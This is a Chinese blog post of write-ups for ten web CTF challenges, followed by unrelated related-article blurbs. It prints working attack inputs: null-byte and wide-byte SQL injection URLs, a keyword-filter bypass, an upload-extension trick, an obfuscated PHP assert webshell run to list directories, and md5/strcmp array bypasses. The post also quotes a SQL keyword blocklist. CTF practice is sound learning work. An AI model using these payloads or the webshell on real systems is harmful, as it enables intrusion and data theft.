CTF札记二

本文是CTF题的复现,我尽量用自己的文字将writeup解释清楚。


0x1第一题

ereg函数截断

一个php代码审计题,上代码:

<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}
?>
 

首先第一层检查需要绕过ereg漏洞,百度可以知道存在截断的问题:ereg读到%00的时候,就截止了, 那么在字符串里面包括%00即可; 接着需要长度小于8但要大于9999999,想到hint里的科学方法,使用科学计数法即可; 还要求有-,最后构造password=1e9%00-,直接在地址栏提交,通过表单提交不会把%00看作截断符。

0x2第二题

文件上传测试,提示上传PHP文件。

Burp抓包,将文件名改成 1.jpg.php 即可。

0x3第三题

打开页面一直弹窗,阻止弹窗后,查看网页源码。

KEY{J2sa42ahJK-HS11III}
 

发现flag加密,去Unicode解密即可。

KEY{J2sa42ahJK-HS11III}

0x4第四题

右键查看元素,GB312,想到款字节注入。

http://103.238.227.13:10083/?id=1%df' union select 1,database() %23
 

爆出所有的数据库,再结合题目,得到flag。

http://103.238.227.13:10083/?id=1%df' union select 1,string from sql5.key %23
 

0x5第五题

直接修改hosts文件。

KEY{DSAHDSJ82HDS2211}
 

0x6第六题

//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
    if (substr_count($id, $value) > 0)
    {
        exit('包含敏感关键字!'.$value);
    }
}
 
//xss过滤
$id = strip_tags($id);
 
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
 
 

可以看到,后台过滤了相关的sql查询代码。 这里考虑用%00绕过关键字过滤。

http://103.238.227.13:10087/?id=-1 uni%00on sel%00ect 1,hash fro%00m sql3.key
拿到flag{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}
 

0x7第七题

访问网址给出源代码,这里我稍微注释下:

flag In the variable !

<?php  
error_reporting(0);// 关闭php错误显示
include "flag1.php";// 引入flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])){// 通过get方式传递 args变量才能执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
// 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
        die("args error!");
    }
    eval("var_dump($$args);");// 这边告诉我们这题是代码审计的题目
}
?>
 

提示flag在变量里。正则匹配只能大小写字符和数字。 eval("var_dump($$args);");打印出变量的值。 利用超全局数组 GLOBALS 可以打印出所有变量。

http://120.24.86.145:8004/index1.php?args=GLOBALS
flag{92853051ab894a64f7865cf3c2128b34}
 

0x8第八题

JSPFUCK??????答案格式CTF{**} JsFUCK又不是第一次见了,查看网页源码,复制到控制台,回车就可以啦!

0x9第九题

过狗一句话,题目给了代码如下:

<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
 

看提示,猜测 indexphp 就是shell 于是直接利用 用assert执行任意代码 ,题目中有$_GET['s'];于是构造代码扫描目录

http://120.24.86.145:8010/?s=print_r(scandir('./'));
 

访问http://120.24.86.145:8010/flag.txt得到flag

0x10第十题

前女友,打开网页是这个,有意思:

查看源码,发现有code.txt,查看之:

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
 

根据php代码,以GET形式传递3个值,其中v1变量值 != v2变量值,if中的第二个判断条件用的是 ==,我们可以利用 "0x" == "0a"的判断结果为1,找出经过加密后的两个md5值以0开头,接下去以都相同的值,直到遇到的字母的两个字符串。

php中md5()函数漏洞和strcmp()函数漏洞的利用 所以简单构造下数组就可以了 http://118.89.219.210:49162/?v1[]=1&v2[]=2&v3[]=1

除特别注明外,本站所有文章均为慕白博客原创,转载请注明出处来自https://geekmubai.com/code/ctf/622.html

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏钱塘大数据

理工男图解零维到十维空间,烧脑已过度,受不了啦!

让我们从一个点开始,和我们几何意义上的点一样,它没有大小、没有维度。它只是被想象出来的、作为标志一个位置的点。它什么也没有,空间、时间通通不存在,这就是零维度。

35430
来自专栏haifeiWu与他朋友们的专栏

复杂业务下向Mysql导入30万条数据代码优化的踩坑记录

从毕业到现在第一次接触到超过30万条数据导入MySQL的场景(有点low),就是在顺丰公司接入我司EMM产品时需要将AD中的员工数据导入MySQL中,因此楼主负...

31040
来自专栏Ken的杂谈

【系统设置】CentOS 修改机器名

18430
来自专栏前端桃园

知识体系解决迷茫的你

最近在星球里群里都有小伙伴说道自己对未来的路比较迷茫,一旦闲下来就不知道自己改干啥,今天我这篇文章就是让你觉得一天给你 25 个小时你都不够用,觉得睡觉都是浪费...

22740
来自专栏腾讯社交用户体验设计

ISUX Xcube智能一键生成H5

51620
来自专栏怀英的自我修炼

考研英语-1-导学

英二图表作文要重视。总体而言,英语一会比英语二难点。不过就写作而言,英语二会比英语一有难度,毕竟图表作文并不好写。

12410
来自专栏微信公众号:小白课代表

不只是软件,在线也可以免费下载百度文库了。

不管是学生,还是职场员工,下载各种文档几乎是不可避免的,各种XXX.docx,XXX.pptx更是家常便饭,人们最常用的就是百度文库,豆丁文库,道客巴巴这些下载...

45130
来自专栏FSociety

SQL中GROUP BY用法示例

GROUP BY我们可以先从字面上来理解,GROUP表示分组,BY后面写字段名,就表示根据哪个字段进行分组,如果有用Excel比较多的话,GROUP BY比较类...

5.2K20
来自专栏腾讯大讲堂的专栏

白底黑字or黑底白字,眼睛更喜欢哪一个?

12410
来自专栏钱塘大数据

中国互联网协会发布:《2018中国互联网发展报告》

在2018中国互联网大会闭幕论坛上,中国互联网协会正式发布《中国互联网发展报告2018》(以下简称《报告》)。《中国互联网发展报告》是由中国互联网协会与中国互联...

13850

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励